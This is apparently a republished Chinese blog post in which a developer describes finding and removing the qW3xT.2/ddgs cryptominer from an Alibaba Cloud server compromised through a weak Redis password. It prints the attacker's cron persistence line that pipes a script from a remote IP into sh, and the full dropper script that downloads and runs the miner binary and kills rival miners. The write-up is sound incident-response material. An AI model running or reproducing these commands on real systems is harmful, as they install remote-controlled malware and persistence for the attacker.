Emm,qW3xT.2(矿机进程)
emmm,长话短说,阿里云服务器被挂矿机了。
背景
事情还得从两三天前说起。7-31阿里云给我发了一个短信。

我还专门和朋友谈(chao)论(feng)Root被提权是什么鬼逻辑,而后就没理。。由于服务器是自己玩的使用,开发阶段给前台暴露api使用的,没什么重要的数据。而后:

这个短信又发生在8-2号,What,大男子主义上来了,觉得这13有点过分了,有点变本加厉的意思了,而后就说去看看。(当时第一想法就是去看看进程有啥异样)
看一看

wtf,简直不要13 face,cpu占使用99.3%,那我使用0.7%吗。
去.ssh目录看看
[root@FantJ .ssh]# lsauthorized_keys这可是无密登录的钥匙啊!使用于主机之间的无密通信。果断删。
查查这个命令在哪
[root@FantJ ~]# find / -name qW3xT*/tmp/qW3xT.2捕捉异常
记住这个画面
发现可疑线程
终止矿机脚本
又出来了
我为什么会针对它:
- PID号很大,证实是新线程
- 每次我kill了矿机,它就会执行,而后就消失。(后面会证实这个言论)
- 从cpu的稳固来看,没有执行新指令cpu一般均衡。
杀除相关进程
1022 ps -aux|grep ddg 1023 kill 11938 1024 kill 27507寻觅ddgs.3013
[root@FantJ ~]# find / -name ddgs.3013/tmp/ddgs.3013定时任务?
干了前面觉得还是没有弄干净,所以我想去看看定时任务列表。
[root@FantJ tmp]# crontab -l*/15 * * * * curl -fsSL http://149.56.106.215:8000/i.sh | shemmm,这一刻真是激动和喜悦。
curl 的这几个 optional 详情,我也是百度的-f - fail在HTTP错误(H)上静默失败(根本没有输出)-s -silent静音模式。 不要输出任何东西 --socks4 HOST [:PORT]给定主机+端口上的SOCKS4代理商 --socks4a HOST [:PORT]给定主机+端口上的SOCKS4a代理商 --socks5 HOST [:PORT]给定主机+端口上的SOCKS5代理商 --socks5-hostname HOST [:PORT] SOCKS5代理商,将主机名传递给代理商 --socks5-gssapi-service名称为gssapi的SOCKS5代理商服务名称 --socks5-gssapi-nec与NEC SOCKS5服务器的兼容性-S --show-error显示错误。 用-s时,make curl会在出现错误时显示错误-L --location遵循重定向(H) --location-trusted like --location并将auth发送给其余主机(H)[root@FantJ tmp]# crontab -r [root@FantJ tmp]# crontab -lno crontab for root那又得查查这个i.sh了,忽然想起有个定时任务,而后我把定时任务的job运行了以下:
[root@FantJ tmp]# curl -fsSL http://149.56.106.215:8000/i.shexport PATH=$PATH:/bin:/usr/bin:/usr/local/bin:/usr/sbinecho "" > /var/spool/cron/rootecho "*/15 * * * * curl -fsSL http://149.56.106.215:8000/i.sh | sh" >> /var/spool/cron/rootmkdir -p /var/spool/cron/crontabsecho "" > /var/spool/cron/crontabs/rootecho "*/15 * * * * curl -fsSL http://149.56.106.215:8000/i.sh | sh" >> /var/spool/cron/crontabs/rootps auxf | grep -v grep | grep /tmp/ddgs.3013 || rm -rf /tmp/ddgs.3013if [ ! -f "/tmp/ddgs.3013" ]; then curl -fsSL http://149.56.106.215:8000/static/3013/ddgs.$(uname -m) -o /tmp/ddgs.3013fichmod +x /tmp/ddgs.3013 && /tmp/ddgs.3013ps auxf | grep -v grep | grep Circle_MI | awk '{print $2}' | xargs killps auxf | grep -v grep | grep get.bi-chi.com | awk '{print $2}' | xargs killps auxf | grep -v grep | grep hashvault.pro | awk '{print $2}' | xargs killps auxf | grep -v grep | grep nanopool.org | awk '{print $2}' | xargs killps auxf | grep -v grep | grep minexmr.com | awk '{print $2}' | xargs killps auxf | grep -v grep | grep /boot/efi/ | awk '{print $2}' | xargs kill#ps auxf | grep -v grep | grep ddg.2006 | awk '{print $2}' | kill#ps auxf | grep -v grep | grep ddg.2010 | awk '{print $2}' | kill注意这个命令不会下载和执行sh脚本。由于我把管道符去掉了。看到的仅仅是打印的信息。
大概说下这个脚本的意思:
- 设置环境变量,写定时任务
- 查看ddgs.3013进程,假如没有该进程,重新下载该文件,而后给它加执行权限,并执行。
- 批量根据关键字杀进程。
我发现有个grep minexmr.com.打开一看,其余网站同理。



反思
问题处理了,过段时间再看看进程情况,应该是没有了,可以说杀的挺彻底了。那么这问题为什么会出现呢。
还得回到阿里云给我的提醒:redis。由于自己玩,所以redis的密码我设置的很简单root,被扫到也是很不吃力的事,而后我把密码进行改正。(通过配置文件requirepass或者者redis-cli``config set requirepass xxxx),更安全的话,把bindIp设置成自己使用的,而后更改默认端口。我没有重要数据,所以略微意思下就行了,下次再来我再折腾。
不过这个13有个很良心的操作,就是没有删我的redis的keys,很有职业操守。但是还是被金钱奴隶。
1. 本站所有资源来源于用户上传和网络,如有侵权请邮件联系站长!
2. 分享目的仅供大家学习和交流,您必须在下载后24小时内删除!
3. 不得使用于非法商业用途,不得违反国家法律。否则后果自负!
4. 本站提供的源码、模板、插件等等其他资源,都不包含技术服务请大家谅解!
5. 如有链接无法下载、失效或广告,请联系管理员处理!
6. 本站资源售价只是摆设,本站源码仅提供给会员学习使用!
7. 如遇到加密压缩包,请使用360解压,如遇到无法解压的请联系管理员
开心源码网 » Emm,qW3xT.2(矿机进程)